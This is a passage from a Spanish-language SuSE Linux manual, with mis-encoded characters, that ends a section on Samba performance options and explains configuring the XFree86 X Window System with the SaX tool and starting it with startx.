  15147.     prßctica muestra que es mejor prescindir de este caracterφstica de TCP/IP,
  15148.     usando la opci≤n socket  options  =  TCP_NODELAY                       .
  15149.  
  15150. o   oplocks  =  yes
  15151.  
  15152.     Con  esta  opci≤n,  los  accesos  de  escritura  a  ficheros  modificados  no  se
  15153.     realizan antes de la aparici≤n de un acceso de lectura por parte de otro
  15154.     cliente  al  mismo  fichero.   Asφ  se  cumple  la  funci≤n  de  una  cachΘ  de
  15155.     escritura.
  15156.  
  15157. o   write  raw  =  yes
  15158.  
  15159.     Raw write permite enviar 65535 bytes en cada paquete de datos, lo que
  15160.     puede  resultar  en  un  aumento  significativo  de  velocidad.   En  caso  de
  15161.     tarjetas de red baratas (de poca calidad) puede ser mejor dejar esta opci≤n
  15162.     en write  raw  =  no          .
  15163.  
  15164. o   read  raw  =  yes
  15165.  
  15166.     Funciona como write  raw  =  yes           , pero contempla la lectura de datos.
  15167.      _______________________________________________________________________________________________________________________||
  15168.      ||||||||  Los   ficheros   /usr/doc/packages/samba/textdocs/Speed.txt   y                                |||            |
  15169.      ||||||||  /usr/doc/packages/samba/textdocs/Speed2.txt le brindan ayuda                                   ||             |
  15170.      ||||||||                                                                                                 ||             |
  15171.      ||||||||  adicional y muchos trucos para la optimizaci≤n.                                                ||             |
  15172.      ||||||||_______________________________________________________________________________________________________________||_
  15173.                                                                                                                                    *
  15174.  * 233
  15175. 7.  Bailemos samba._._.____________________________________________________________________________________________________________*
  15176.  *_______________________________________@
  15177.  
  15178. 234
  15179.  
  15180.  
  15181.                            Parte  IV
  15182.  
  15183.  
  15184. El   sistema   X   Window
  15185.  
  15186.  
  15187.                                                                                                                        235
  15188.  
  15189.  
  15190.                                                                                                            Capφtulo  8
  15191.                                                         El   sistema   X   Window
  15192.  
  15193.  
  15194. El  X  Window  System  es  prßcticamente  un  estßndar  para  entornos  grßficos
  15195. de usuario en Unix.  Pero eso no es todo sobre el sistema X Window,  X11
  15196. es  un  sistema  para  redes.   Las  aplicaciones  que  corren  en  la  computadora
  15197. tierra  pueden  mostrar  sus  salidas  de  pantalla  en  la  computadora  sol,  si
  15198. las  computadoras  estßn  conectadas  vφa  red.   Esta  red  puede  ser  una  LAN
  15199. (Local  Area  Network  ~  red  de  ßrea  local),  pero  tambiΘn  es  posible  que  las
  15200. computadoras se comuniquen a travΘs de miles de kil≤metros usando Internet.
  15201.  
  15202. X11  se  desarroll≤  gracias  a  la  cooperaci≤n  entre  DEC  (Digital  Equipment
  15203. Corporation ) y el proyecto Athena del MIT (Massachusetts Institute of Tech-
  15204. nology ). La primera versi≤n (X11R1 ) sali≤ en septiembre de 1987. Desde la
  15205. versi≤n 6 (Release 6) la X Consortium, Inc., y desde 1996 The Open Group
  15206. acogieron el desarrollo del X Window System .
  15207.  
  15208. XFree86 TM   es una implementaci≤n libre de servidores X para sistemas Unix
  15209. a base de PC (ver http://www.XFree86.org).  XFree86 se sigue desarrol-
  15210. lando por programadores en todo el mundo, que se unieron en 1992 para for-
  15211. mar el XFree86-Team. De esta uni≤n surgi≤ en 1994 la empresa The XFree86
  15212. Project, Inc. cuyo objetivo es poner XFree86 TM   a la disposici≤n de un amplio
  15213. p·blico y contribuir con el desarrollo e investigaci≤n del sistema X Window.
  15214.  
  15215. No  queremos  continuar  sin  antes  agradecer  al  XFree86-Team  por  su  gran
  15216. cooperaci≤n y por haber cedido versiones-beta que han sido cruciales para la
  15217. elaboraci≤n de este documento1 .
  15218.  
  15219. Los siguientes capφtulos se ocupan de la configuraci≤n del servidor X ~ cosa
  15220. que  era  un  tanto  complicada  en  tiempos  pasados.  Con  este  fin  se  explican
  15221. los  programas  SaX  (sax   )2   y  xf86config ,  que  permiten  una  configuraci≤n
  15222. simple del sistema X Window.  En comparaci≤n a xf86config,  SaX  trabaja
  15223. directamente  con  el  servidor  X  y  se  puede  usar  con  el  mouse.   Asφ  que  lo
  15224. mejor  es  instalar  directamente  con  YaST  el  programa  SaX  (paquete  sax,
  15225. serie  x,  y  los  paquetes  pendientes,  especialmente   el  paquete  xvga16   )   y
  15226. tambiΘn ~ si ya se conoce ~  el servidor X que corresponde a la tarjeta grßfica.
  15227. Los servidores X se encuentran en la serie serie xsrv (ver apartado 3.5.3 en la
  15228. pßgina 97Cambiar / Crear configuraci≤nsubsection.3.5.3). Si se olvida elegir
  15229. un servidor X, SaX  lo notarß y procederß a instalarlo vφa YaST .
  15230. 1      ____________________________________________________
  15231.   Algunas partes de la descripci≤n del sistema X11 se sacaron del capφtulo Configurar XFree86
  15232. del libro [HHMK96      ] que nos dej≤ amablemente Dirk Hohndel.
  15233. 2  SaX , (ingl. SuSE Advanced X Configuration Tool),  hace obsoleto a XF86Setup  (paquete
  15234. xfsetup, serie x).
  15235.  
  15236.  
  15237.                                                                                                                                    *
  15238.  *   237
  15239. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15240.  *_______________________________________@
  15241.  
  15242.  
  15243.  
  15244.                            Para usar el hardware existente (tarjeta de vφdeo, monitor, teclado) de manera
  15245.                            ≤ptima, existe la posibilidad de optimizar la configuraci≤n a mano. Solamente
  15246.                            se discutirßn los aspectos mßs importantes de esta optimizaci≤n manual. Var-
  15247.                            ios ficheros del directorio /usr/doc/packages/xf86 al igual que la pßgina
  15248.                            del manual de XF86Config          (man  XF86Config            ) contienen informaci≤n adi-
  15249.                            cional sobre el sistema X Window.
  15250.                            ________________________________________________________________________________________________________*
  15251.  *________|||
  15252.                            |  íAl configurar el sistema X Window se recomienda tener mucho cuidado!                                *
  15253.  *        ||||
  15254.                            |                                                                                                       *
  15255.  *        |||
  15256.                            |  Jamßs se debe arrancar X sin haber terminado la configuraci≤n.  Un sis-                              *
  15257.  *        |||
  15258.                            |  tema mal ajustado puede provocar da±os irreparables al hardware;  estßn                              *
  15259.  *        |||
  15260.                            |                                                                                                       *
  15261.  *        |||
  15262.                            |  en peligro especialmente los monitores de frecuencia fija.                                           *
  15263.  *        |||
  15264.                            |  Los autores de este libro y la SuSE     GmbH no se responsabilizan de posi-                          *
  15265.  *        |||
  15266.                            |                                                                                                       *
  15267.  *        |||
  15268.                            |  bles da±os.  El texto presente fue redactado con mßximo cuidado, no ob-                              *
  15269.  *        |||
  15270.                            |  stante no se puede garantizar que los mΘtodos presentados sean correctos                             *
  15271.  *        |||
  15272.                            |                                                                                                       *
  15273.  *        |||
  15274.                            |  para su hardware y que no pueda da±arse.                                                             *
  15275.  *        |||
  15276.                            |_______________________________________________________________________________________________________*
  15277.  *________|||_
  15278.  
  15279.  
  15280.                            8.1       Configuraci≤n con SaX
  15281.  
  15282.                            El programa SaX , (ingl. SuSE Advanced X Configuration Tool),  sirve para
  15283.                            una instalaci≤n fßcil del sistema X Window.  Se puede utilizar por completo
  15284.                            con el mouse o el teclado directamente sobre una superficie grßfica.  Aparte
  15285.                            de  algunos  casos  especiales,  p. ej.  hardware  muy  antiguo  o  muy  nuevo,  es
  15286.                            capaz de reconocer los componentes por sφ mismo y asφ facilitar al mßximo la
  15287.                            configuraci≤n de un servidor X Window.
  15288.  
  15289.  
  15290.                            8.1.1      Primera instalaci≤n
  15291.  
  15292.                            Para instalar por primera vez el sistema X Window ~ el entorno grßfico de
  15293.                            todos  los  sistemas  Linux  ~  hay  que  conocer  algunas  especificaciones  del
  15294.                            ordenador:
  15295.  
  15296.                              o   El tipo de monitor utilizado (nombre y marca).
  15297.                              o   El tipo de teclado.
  15298.                              o   El tipo de mouse y el puerto de conexi≤n.
  15299.                              o   El fabricante y el nombre de la tarjeta grßfica.
  15300.                            ________________________________________________________________________________________________________*
  15301.  *________
  15302.                            |  Ejecute el programa SaX (sax   ) como usuario `root'. TambiΘn puede ini-                             *
  15303.  *        ||||
  15304.                            |                                                                                                       *
  15305.  *        |||
  15306.                            |  ciarlo desde YaST : `Administraci≤n  de  sistema' y despuΘs `Con-                                    *
  15307.  *        |||
  15308.                            |                                                                                                       *
  15309.  *        |||
  15310.                            |  figurar  XFree86[tm]'  (ver  apartado  3.7  en  la  pßgina  102Adminis-                              *
  15311.  *        |||
  15312.                            |  traci≤n del sistemasection.3.7).                                                                     *
  15313.  *        |||
  15314.                            |_______________________________________________________________________________________________________*
  15315.  *________|||_
  15316.  
  15317.                            En  la  lφnea  de  comando  (el  prompt  de  Linux)  el  programa  se  inicia  con  el
  15318.                            comando:
  15319.                                  tierra:/root  #  sax
  15320.  
  15321.                            DespuΘs del inicio se buscan tarjetas de expansi≤n del tipo PCI. Si se encuen-
  15322.                            tra  una  tarjeta  de  vφdeo  de  este  tipo,  el  programa  la  identifica  y  la  muestra
  15323.                            bajo `Tarjeta  grßfica'.
  15324.  
  15325.                            DespuΘs  de  haber  escaneado  el  Bus-PCI  se  abre  la  pantalla  principal,  que
  15326.                            contiene las fichas para el mouse `Rat≤n', el teclado `Teclado', la tarjeta
  15327.  
  15328.  
  15329. 238
  15330.        ________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
  15331.  *______________________
  15332.  
  15333.  
  15334.  
  15335. de vφdeo `Tarjeta  grßfica', el monitor `Monitor' y la superficie grßfica
  15336. `Escritorio'.  SaX  carga entonces los datos sobre el hardware conocido.
  15337. Los datos encontrados durante la comprobaci≤n se encuentran despuΘs bajo
  15338. sus respectivas fichas, asφ que la tarjeta grßfica que se tenga se encuentra en
  15339. la ficha `Tarjeta  grßfica'.
  15340.  
  15341. SaX trata de reconocer el hardware del modo mßs exacto posible, no obstante,
  15342. se recomienda comprobar y en su caso corregir todos los ajustes que hace SaX
  15343. para asegurarse de que todo estß bien y completo!
  15344.  
  15345. Para ello el programa ofrece bßsicamente cinco ''fichas'' que son:  `Rat≤n',
  15346. `Teclado', `Tarjeta  grßfica', `Monitor' y `Escritorio'.  A todas
  15347. las fichas se accede con un click del mouse sobre el correspondiente tφtulo.
  15348.  
  15349. Existe tambiΘn la posibilidad de manejar el programa con el teclado para el
  15350. caso en que el mouse todavφa_no estΘ_configurado_correctamente.  Pulsando
  15351. varias veces la tecla |T____a|b(= |T____a|b) se puede_llegar a los distintos campos de
  15352. cada ficha.  Para cambiar a otra ficha se pulsa |T____a|bhasta que el_tφtulo_de_la_
  15353. ficha  actual  se  enmarque  en  negro.   A  continuaci≤n_ se__usa_ |___|_o  |___|!para
  15354. seleccionar la ficha que se mostrarß pulsando |_____-|(= |E_______n|ter).  En cada ficha
  15355. hay varios elementos como p. ej.  botones (ingl. buttons), listas de selecci≤n
  15356. (ingl. listboxes) y cuadros de texto (ingl. entry fields). Estos objetos se pueden
  15357. manipular tambiΘn por completo_con el teclado. Para alcanzar un bot≤n (p. ej.
  15358. `Aplicar')_se_pulsa_|T____a|bhasta_que el bot≤n deseado se enmarque en negro.
  15359. Con  _-|||||_o |_____________|se_puede pulsar la tecla y asφ poner en marcha la acci≤n
  15360. deseada. Con |F____1|0se llega a las opciones de men· en el extremo superior de
  15361. la pantalla.
  15362.  
  15363. Para  seleccionar  una  opci≤n  de  una_ lista_ se  pulsa | _____|Tabhasta  que  el  cuadro
  15364. correspondiente se enmarque.  Con |"_ |y |#_ | se puede seleccionar la opci≤n
  15365. que  se  encuentra  resaltada__por_ la  barra  de  desplazamiento.   Finalmente  la
  15366. opci≤n se activa pulsando |E_______n|ter.
  15367.  
  15368.  
  15369. El mouse
  15370.  
  15371. (rat≤n)
  15372.  
  15373. La primera ficha que se ve despuΘs del arranque del programa es la del mouse
  15374. `Rat≤n' (figura 8.1 en la pßgina siguiente).
  15375.  
  15376. Si el mouse ya fue configurado durante la primera instalaci≤n de Linux, p. ej.
  15377. configurando gpm , estos datos se traspasan a SaX   y el mouse estß directa-
  15378. mente a disposici≤n cuando se inicia SaX . En este caso se puede continuar
  15379. de inmediato con la configuraci≤n de los demßs dispositivos.
  15380.  
  15381. Si por el contrario no estuviera_configurado el mouse,  se tendrφa que hacer
  15382. ahora.  Pulsar dos veces_|T____a|by_seleccionar el mouse adecuado_bajo_`Fab-
  15383. ricante' (repasar con |"_ |y |#__|la_lista).  DespuΘs pulsar |E_______n|terpara fijar el
  15384. fabricante seleccionado. Usar |T____a|bpara activar la lista de los modelos `Mod-
  15385. elo' y seleccionar el tipo correcto.  Pulsando la tecla `Aplicar' es posible
  15386. comprobar si la selecci≤n es correcta, ya que la flecha del mouse se deberφa
  15387. mover ahora.
  15388.  
  15389. El sub-men· por debajo de `Experto' permite definir directamente un pro-
  15390. tocolo de mouse, lo que se deberφa hacer cuando no se sabe quΘ tipo de mouse
  15391.  
  15392.  
  15393.                                                                                                                                    *
  15394.  *   239
  15395. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15396.  *_______________________________________@
  15397.  
  15398.  
  15399.  
  15400.                                                          Figura 8.1: SaX : Ajustes del mouse
  15401.  
  15402.  
  15403.  
  15404.                            se tiene y cuando ya se ha intentado sin Θxito usar el mouse de puerto serie
  15405.                            como  mouse  `Microsoft'  del  tipo  `Standard  Mouse'.   Allφ  se  pueden
  15406.                            activar tambiΘn opciones adicionales como p. ej.  la transferencia en baudios,
  15407.                            emulaci≤n de tres teclas, etc.  Las opciones de `Experto' son en detalle las
  15408.                            siguientes:
  15409.  
  15410.  
  15411.                                       Figura 8.2: SaX : Ajustes adicionales para configurar el mouse
  15412.  
  15413.  
  15414.  
  15415.                            `Dispositivo':              (Driver) En el caso de un fabricante desconocido se puede
  15416.                                  definir aquφ el `Protocolo' de mouse directamente.  TambiΘn se debe
  15417.                                  elegir el tipo de dispositivo.  En caso de un mouse conectado al bus,  se
  15418.                                  deberφa probar la variante PS/2.
  15419.                            `Propiedades':              Definir parßmetros detallados sobre el tiempo de respuesta
  15420.                                  del mouse.
  15421.                            `Opciones':           Emulaci≤n de mouse de 3 botones, etc.
  15422.  
  15423.  
  15424. 240
  15425.        ________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
  15426.  *______________________
  15427.  
  15428.  
  15429.  
  15430. `Probar':          En la parte inferior del mouse simb≤lico de la `Zona  de  prue-
  15431.       bas',  se puede comprobar la configuraci≤n del mouse (figura 8.2 en la
  15432.       pßgina anterior); si estß bien ajustado, los botones del mouse en el dibujo
  15433.       se alumbran cuando se pulsa uno de los botones reales.
  15434.  
  15435. El teclado
  15436.  
  15437. El teclado por defecto es uno del tipo Windows 95/98 con la distribuci≤n de
  15438. teclado  Spanish       (figura  8.3).   Si  se  tiene  otro,  se  deben  poner  los  valores
  15439. correctos, ya que el teclado es uno de los pocos componentes que no pueden
  15440. ser reconocidos automßticamente.
  15441.  
  15442.  
  15443.  
  15444.                                       Figura 8.3: SaX : Teclado
  15445.  
  15446.  
  15447. Comparando  el  teclado  con  el  que  se  muestra  en  pantalla  `Teclado',  es
  15448. fßcil ajustar el modelo adecuado bajo `Modelo'.  Tampoco hay que olvidar
  15449. de poner bajo `Lenguaje' `Espa±ol' para que todos los caracteres salgan
  15450. correctamente.  Esto se puede comprobar en un ßrea de pruebas al lado del
  15451. bot≤n `Borrar'.
  15452.  
  15453. Lo mßs probable es que no haga falta ajustar nada bajo `Experto'.
  15454.  
  15455. Al pulsar el bot≤n `Aplicar', los ajustes realmente se activan.
  15456.  
  15457.  
  15458. La tarjeta grßfica
  15459.  
  15460. En la ficha `Tarjeta  grßfica' se puede seleccionar el fabricante en la lista
  15461. del lado izquierdo y, al lado derecho, el correspondiente modelo (figura 8.4
  15462. en la pßgina siguiente). SaX intenta reconocer la tarjeta grßfica por sφ mismo,
  15463. lo que generalmente funciona muy bien para tarjetas del tipo PCI. La utilidad
  15464. se apoya en un banco de datos amplio y actualizado sobre tarjetas de vφdeo;
  15465. ver  el  paquete  cdb  (ingl.  Component  Data  Base).  El  hardware  encontrado
  15466. resalta en color.
  15467.  
  15468. El bot≤n `Experto' alberga opciones de ajuste avanzadas (figura 8.5 en la
  15469. pßgina siguiente).  Estas se tocan cuando se elige el servidor X directamente
  15470.  
  15471.  
  15472.                                                                                                                                    *
  15473.  *   241
  15474. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15475.  *_______________________________________@
  15476.  
  15477.  
  15478.  
  15479.                                                            Figura 8.4: SaX : Tarjeta de vφdeo
  15480.                            (`Parßmetros  del  servidor') o cuando se quiere especificar el tama±o
  15481.                            de la memoria de la tarjeta, especificar el valor de ''Ramdac'' o seleccionar un
  15482.                            Ramdac- o Clock-Chip (en `Chipsets').  Es aconsejable bajar el valor del
  15483.                            Ramdac cuando aparecen imßgenes raras efectuando operaciones de ventana,
  15484.                            p. ej.  cuando parpadean fragmentos de la lφnea de tφtulo de una ventana.
  15485.  
  15486.  
  15487.  
  15488.                                           Figura 8.5: SaX : Tarjeta de vφdeo ~ Opciones especiales
  15489.  
  15490.  
  15491.                            Algunas tarjetas de vφdeo necesitan `Opciones' especiales, que encuentran
  15492.                            su  lugar  en  el  men·  ampliado.  Para  el  caso  estßndar  no  se  necesitan  estas
  15493.                            opciones.
  15494.                            ________________________________________________________________________________________________________*
  15495.  *________||
  15496.  
  15497.                            |  Las tarjetas del tipo ISA no se reconocen automßticamente; hay que elegir                            *
  15498.  *        ||||
  15499.                            |  el servidor X adecuado ''a mano''.                                                                   *
  15500.  *        |||
  15501.                            |_______________________________________________________________________________________________________*
  15502.  *________|||_
  15503.  
  15504.  
  15505. 242
  15506.        ________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
  15507.  *______________________
  15508.  
  15509.  
  15510.  
  15511. Si aparece el mensaje de error "The  SVGA  server  is  not  installed..."
  15512. cuando se estß seleccionando la tarjeta grßfica, hace falta instalar con YaST el
  15513. paquete indicado en dicho mensaje (ver apartado 3.5 en la pßgina 96Escoger
  15514. / Instalar paquetessection.3.5).
  15515.  
  15516.  
  15517. El Monitor
  15518.  
  15519. El ·ltimo obstßculo para llegar a correr el sistema X Window es la config-
  15520. uraci≤n del monitor usado.  La ficha de `Monitor' funciona como la de la
  15521. tarjeta grßfica. En la lista a la izquierda se selecciona el fabricante del monitor
  15522. (`Fabricante') y en la derecha el tipo (`Modelo'). Si la propia pantalla no
  15523. se encontrara en la lista es posible definir los rangos de frecuencia horizon-
  15524. tal  y  vertical  de  su  monitor  pulsando  el  bot≤n  `Experto'.   Los  rangos  de
  15525. frecuencia se encuentran generalmente en el manual de su monitor.
  15526.  
  15527. Si no se tuviera ning·n dato sobre el monitor, SaX  utiliza como valores pre-
  15528. determinados 29-61 kHz de frecuencia horizontal y 60-70 Hz de frecuencia
  15529. vertical. Estos valores no provocan da±os en la gran mayorφa de monitores.
  15530.  
  15531. No obstante,  si la imagen se queda oscura o si parpadea mucho cuando ar-
  15532. ranca  el  servidor  X,  entonces  se__deberφa_ ''eliminar''_ el__servidor__inmediata-
  15533. mente con la combinaci≤n de teclas |C______|trl+ |A____l|t+ | ____7|;!| ____7|i!ndica la tecla
  15534. ''Backspace'' para borrar hacia atrßs. íEn caso de no parar inmediatamente el
  15535. servidor X es posible que se da±e el monitor!
  15536.  
  15537.  
  15538. La pantalla
  15539.  
  15540. Si  se  ha  tenido  Θxito  con  la  instalaci≤n  de  la  tarjeta  grßfica,  se  tiene  una
  15541. multitud de resoluciones y de profundidades de color a disposici≤n,  que se
  15542. administran en el men· `Escritorio' (figura 8.6 en la pßgina siguiente).
  15543.  
  15544. La ficha `Escritorio' tal vez se parece un poco al ajuste de pantalla de otro
  15545. sistema operativo ;-)
  15546.  
  15547. En el `Escritorio' se puede elegir para cada profundidad de color (`Col-
  15548. ores') una resoluci≤n (`Resoluci≤n').
  15549.  
  15550. En el modo de experto (`Experto') es posible generar una lista con varias
  15551. resoluciones  para  una  determinada  profundidad  de  color  (`Expert'  figu-
  15552. ra 8.7 en la pßgina siguiente).
  15553.  
  15554. `Resoluci≤n':              Esta ficha se divide en:
  15555.  
  15556.       `Posible'          Resoluciones posibles.
  15557.  
  15558.       `Actual'         Resoluciones actuales.
  15559.  
  15560.       `Colores'          La lista con las profundidades de color.
  15561.  
  15562.       Seleccionar en la fila vertical de botones al lado derecho, la profundidad
  15563.       de color (`Colores') a la que se quiere configurar la resoluci≤n de pan-
  15564.       talla.
  15565.  
  15566.       El servidor X puede arrancar en distintas profundidades de color, p. ej.  en
  15567.       profundidad de 8  bit    , equivalente a 256 colores que se pueden mostrar a
  15568.       la vez. A cada profundidad de color corresponden diferentes resoluciones
  15569.       de pantalla, p. ej.  la resoluci≤n 800x600       , pero no todas las resoluciones
  15570.  
  15571.  
  15572.                                                                                                                                    *
  15573.  *   243
  15574. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15575.  *_______________________________________@
  15576.  
  15577.  
  15578.  
  15579.                                                                 Figura 8.6: SaX : Desktop
  15580.  
  15581.  
  15582.                                                   Figura 8.7: SaX : Ajustes adicionales Desktop
  15583.  
  15584.  
  15585.  
  15586.                                  existen para todas las profundidades de color. Por ejemplo una resoluci≤n
  15587.                                  de  1600x1200         a  profundidad  de  color  de  32  bit     es  imposible  para  la
  15588.                                  mayorφa de las tarjetas, porque no contienen suficiente memoria.
  15589.  
  15590.                                  A una profundidad de 8  bit     existen diferentes resoluciones desde p. ej.
  15591.                                  640x480       hasta 1600x1200        , que estßn apuntadas en la lista actual de res-
  15592.                                  oluciones.  Durante la ejecuci≤n del servidor X se pueden cambiar tales
  15593.                                  resoluciones seg·n el orden en la lista pulsando la combinaci≤n de teclas
  15594.                                  |_______|Ctrl+ |_____A|lt+ |__|+o |_______|Ctrl+ |_____A|lt+ |__|-, (hay que usar |__|+o |__|-del *
  15595.  *bloque de
  15596.  
  15597.                                  teclas numΘricas).  El primer elemento de la lista representa la resoluci≤n
  15598.                                  en la que arranca el servidor X por defecto.
  15599.  
  15600.                                  De la lista de las resoluciones posibles (`Posible'), hay que mover las
  15601.                                  deseadas a la lista de las actuales (`Actual').  Para hacerlo se hace un
  15602.                                  ''click'' sobre la resoluci≤n en cuesti≤n y despuΘs sobre el bot≤n `E' para
  15603.  
  15604.  
  15605. 244
  15606.        ________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
  15607.  *______________________
  15608.  
  15609.  
  15610.  
  15611.       entrar  esta  resoluci≤n  a  la  lista  de  las  actuales  y  con  `V'  se  quitan  los
  15612.       elementos de esta lista.
  15613.       El orden de los elementos en la lista `Actual' se puede modificar usando
  15614.       las  teclas  de  flecha  que  estßn  ubicadas  por  debajo  de  la  ventana  con  el
  15615.       listado.  Para efectuarlo, se marca el elemento a mover y posteriormente
  15616.       se pulsa con el bot≤n izquierdo del mouse la flecha arriba o abajo.  Asφ el
  15617.       elemento cambia de sitio con su sucesor o antecesor.
  15618.  
  15619.       Cuando se hayan hecho los ajustes de profundidad de color de 8  bit    , se
  15620.       pueden usar los botones a la derecha para seleccionar otra profundidad,
  15621.       p. ej.  16  bit     .  Ahora aparecen en la lista `Possible' las resoluciones
  15622.       posibles para esta profundidad de color, que pueden ser manipuladas tal
  15623.       como se ha indicado antes.
  15624.  
  15625. `Resoluci≤n  virtual':                    Esta  ficha  permite  configurar  tama±os  de  pan-
  15626.       talla virtuales.  Si realmente se quiere tener una zona de pantalla virtual,
  15627.       entonces hay que aumentar los valores bajo `Virtual  X' (= Anchura) o
  15628.       `Virtual  Y' (= Altura). Por lo general se trata de algo no deseado.
  15629.  
  15630.       Explicaci≤n:  El  sistema  X  Window  ofrece  la  posibilidad  de  definir  un
  15631.       tama±o de escritorio virtual,  lo que permite trabajar sobre un escritorio
  15632.       mßs grande que la pantalla visible.  Por ejemplo se puede trabajar con un
  15633.       tama±o de escritorio de 1152x864        teniendo una resoluci≤n de monitor de
  15634.       800x600      .
  15635.  
  15636. `Especial':            Esta ficha permite generar una resoluci≤n propia.  Ademßs se
  15637.       puede definir aquφ la calidad (`Calidad')de los ''Modelines'', eligiendo
  15638.       dos maneras diferentes de cßlculo de los mismos.
  15639.  
  15640. Ahora se puede determinar con cußl profundidad de color arranca por defecto
  15641. el servidor X, (ingl. default). Para ello hay que marcar en la ficha `Escrito-
  15642. rio' la profundidad de color deseada (usando `Colores'). DespuΘs de esto
  15643. se pulsa el bot≤n `Configurar  este  modo' para arrancar el servidor X de
  15644. prueba. . .
  15645.  
  15646.  
  15647. Prueba de la configuraci≤n
  15648.  
  15649. DespuΘs de un corto intervalo de cßlculo aparece un cuadro de mensaje;  si
  15650. se estß de acuerdo se pulsa `Sφ'.  DespuΘs deberφa aparecer una imagen de
  15651. fondo y una ventana que muestra en el lado izquierdo informaci≤n sobre la
  15652. resoluci≤n actual y las frecuencias verticales y horizontales del modo de vφdeo
  15653. elegido.
  15654.  
  15655. Las teclas de flecha en el campo `Tama±o' permiten aumentar o disminuir
  15656. en direcci≤n horizontal y vertical. El campo `Posici≤n' sirve para cambiar
  15657. la ubicaci≤n relativa de la imagen en el monitor.  íUse las teclas para ajustar
  15658. la imagen a gusto!
  15659.  
  15660. En  las  cuatro  esquinas  de  la  pantalla  hay  peque±os  cuadros  para  ver  si  la
  15661. imagen esta bien ajustada.  En caso de un ajuste correcto estas esquinas se
  15662. deben ver completamente sin distorsi≤n de color.
  15663.        _______________________________________________________________________________________________________________________
  15664.        ||||||||  íSaX  no permite mßs que el ajuste fino de la imagen en pantalla y por lo                      ||             |
  15665.        ||||||||                                                                                                 ||             |
  15666.        ||||||||  tanto no reemplaza el ajuste manual con las teclas del monitor!                                ||             |
  15667.        ||||||||_______________________________________________________________________________________________________________||_
  15668.  
  15669.  
  15670.                                                                                                                                    *
  15671.  *   245
  15672. 8.  El sistema X Window____________________________________________________________________________________________________________*
  15673.  *_______________________________________@
  15674.  
  15675.  
  15676.  
  15677.                            DespuΘs del ajuste de la imagen existen dos posibilidades de cerrar la ventana:
  15678.                            `Guardar':          Terminar la configuraci≤n de sistema X Window y grabar los
  15679.  
  15680.                                  ajustes actuales, con lo cual se regresa al prompt de Linux.
  15681.                            `Cancelar':           Cancelaci≤n de SaX  sin grabaci≤n de los ajustes.
  15682.  
  15683.                            Para regresar a la primera consola se pulsa |A_____|lt+ |F___|_1.
  15684.  
  15685.  
  15686.                            8.1.2      Reconfiguraci≤n
  15687.  
  15688.                            SaX tambiΘn ayuda mucho ajustando un servidor X a las necesidades una vez
  15689.                            que estΘ instalado.
  15690.  
  15691.                            Para ello SaX lee y analiza la configuraci≤n en /etc/XF86Config, en la cual
  15692.                            el sistema X Window graba sus propios datos de configuraci≤n.  Por eso no
  15693.                            hace falta configurar otra vez todo (de mouse a monitor), porque SaX acoge la
  15694.                            configuraci≤n existente que funciona. Los datos leφdos en /etc/XF86Config
  15695.                            se muestran en sus correspondientes fichas.
  15696.  
  15697.                            No obstante,  el usuario tiene toda la libertad en la nueva configuraci≤n del
  15698.                            servidor  X:  Puede  seleccionar  el  modelo  de  monitor  del  amplio  banco  de
  15699.                            datos  y  asφ,  adaptar  mejor  la  configuraci≤n  a  las  capacidades  del  monitor
  15700.                            como tambiΘn ajustar c≤modamente la posici≤n de la imagen en pantalla.
  15701.  
  15702.                            Ademßs SaX  ofrece una superficie confortable para la administraci≤n de to-
  15703.                            das las combinaciones de profundidad de color y de resoluci≤n de la tarjeta
  15704.                            de vφdeo a travΘs de un simple ''click'' del mouse en la ficha `Escritorio'.
  15705.  
  15706.  
  15707.                            8.1.3      Resoluci≤n de problemas
  15708.  
  15709.                            En este apartado tiene lugar la discusi≤n sobre los problemas mßs grandes,
  15710.                            que pueden ocurrir durante la configuraci≤n del servidor X usando SaX .
  15711.  
  15712.                              o   Si al probar la configuraci≤n el monitor comienza a parpadear o a mostrar
  15713.                                  una imagen negra o torcida,  ''mate'' inmediatamente_el servidor_X para____
  15714.                                  que no_se_da±e la pantalla. Para_ello_pulse |C______|trl+ |A____l|t+ | ____7|(!íCuidado,
  15715.                                  no |T____a|b, sino la tecla | ____7| !(Backspace)!)
  15716.                                  DespuΘs de algo asφ, se entra en la ficha `Monitor' y se elige un monitor
  15717.                                  adecuado  o  se  introducen  los  datos  del  monitor  a  mano.   Lo  mismo  es
  15718.                                  vßlido  cuando  la  imagen  empieza  a  parpadear  durante  el  ajuste  de  la
  15719.                                  pantalla.
  15720.                              o   En  casos  complicados,  SaX  ofrece  opciones  para  la  lφnea  de  comando,
  15721.                                  p. ej. :
  15722.  
  15723.                                  --server  vga16           :  En  el  primer  inicio  de  SaX ,  se  utiliza  el  servidor
  15724.                                      VGA16 en lugar del servidor X especial de la tarjeta de vφdeo.  Este
  15725.                                      servidor deberφa funcionar prßcticamente con todas las tarjetas y se us-
  15726.                                      arß automßticamente cuando SaX no la reconozca o cuando se use una
  15727.                                      tarjeta ISA.
  15728.  
  15729.                            La documentaci≤n actual respecto a SaX  se encuentra en el directorio /usr/
  15730.                            doc/packages/sax.   Las  excepciones  en  el  arranque  de  SaX  o  durante
  15731.                            su  configuraci≤n  se  guardan  en  los  ficheros  /root/ServerLog  y  /root/
  15732.                            StartLog, que se pueden consultar en caso de problemas, para sacar conclu-
  15733.                            siones de c≤mo resolver errores relacionados con SaX .
  15734.  
  15735.  
  15736. 246
  15737.        ________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
  15738.  *______________________
  15739.  
  15740.  
  15741.  
  15742. 8.1.4      Inicio del sistema X Window
  15743. Ahora cualquier usuario puede arrancar el sistema X Window con el comando
  15744.  
  15745. startx .  Se activa una superficie grßfica preconfigurada por defecto, usando el
  15746. gestor de ventanas fvwm . Por eso, es mejor ejecutar startx desde la cuenta de
  15747. usuario y no desde la de `root'.  Los errores del servidor X (si los hubiese)
  15748. se encuentran en el fichero ~/.X.err. La llamada startx       soporta un par de
  15749. opciones; por ejemplo con
  15750.  
  15751.       tux@tierra:  >  startx  --  -bpp  16
  15752.  
  15753. se puede elegir la profundidad de color de 16 Bit.
  15754.  
  15755.  
  15756. 8.1.5      Configuraci≤n de la tarjeta grßfica: Problemas y soluciones
  15757.  
